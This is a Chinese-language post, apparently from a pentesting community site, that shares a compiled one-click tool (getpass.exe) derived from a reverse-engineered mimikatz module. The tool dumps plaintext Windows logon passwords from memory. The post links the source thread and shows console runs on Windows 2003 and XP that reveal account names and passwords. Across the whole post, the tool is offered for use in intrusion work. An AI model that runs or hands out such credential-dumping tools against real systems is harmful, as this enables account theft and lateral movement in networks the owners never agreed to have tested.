

一键直接获取 windows 系统内存明文密码-基于 mimikatz 工具逆向

大家对轻量级神器 mimikatz 不陌生吧！是的，它很强大！

能直接获取内存中的系统用户登录明文密码！

但是大家是否对其中繁琐的操作命令很反感呢？

我自己都这样觉得，经常我在渗透的时候喜欢直接读取 hash

因为 mimikatz 操作确实比较繁琐！

最近在看雪上看到一个国内的逆向大师逆向了 mimikatz

并自己写了一个程序可以直接获取系统内存用户的明文密码！

不需要任何的操作，运行程序即可获取！

原帖地址：[【原创】\[中秋快乐\]\[逆向 sekurlsa.dll 实现读内存获得开机密码\]](#)


帖子中提供了源代码的下载和全部的逆向分析过程！

鉴于没有编译而且帖子又是在看雪中！渗透的朋友通常没有太注意到！

我对源代码进行了编译分享给大家吧！献给喜欢一键的朋友们吧～

此程序只能支持：32Bit 的平台！

（window 2003 x86 测试）



```
C:\>ver

Microsoft Windows [版本 5.2.3790]

C:\>getpass.exe
Code by Usbat/bbs.kanxue.com More: http://bbs.pediy.com/showthread.php?t=156643
Release by 闪电小子/pkav.net More: http://t.qq.com/dis9_tysan

UserName: Administrator
LogonDomain: TYSAN-ZZGEIA2B9
password: pkav/tysan/test

UserName: ANONYMOUS LOGON
LogonDomain: NT AUTHORITY
Specific LUID NOT found

UserName: NETWORK SERVICE
LogonDomain: NT AUTHORITY
password:

UserName: LOCAL SERVICE
LogonDomain: NT AUTHORITY
Specific LUID NOT found
```

（window xp x86 测试）

```
C:\ 命令提示符 - getpass.exe
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>cd\

C:\>getpass.exe
Code by Usbat/bbs.kanxue.com More: http://bbs.pediy.com/showthread.php?t=156643
Release by 闪电小子/pkav.net More: http://t.qq.com/dis9_tysan

UserName: Administrator
LogonDomain: XPTEST
password: pkav/tysan/test

UserName: Administrator
LogonDomain: XPTEST
password: tysan123

UserName: LOCAL SERVICE
LogonDomain: NT AUTHORITY
Specific LUID NOT found

UserName: NETWORK SERVICE
LogonDomain: NT AUTHORITY
password:
```



win 32 的 win7 和 2008 没有环境没有测试！应该是可以使用的！

By: 闪电小子/Pkav.Net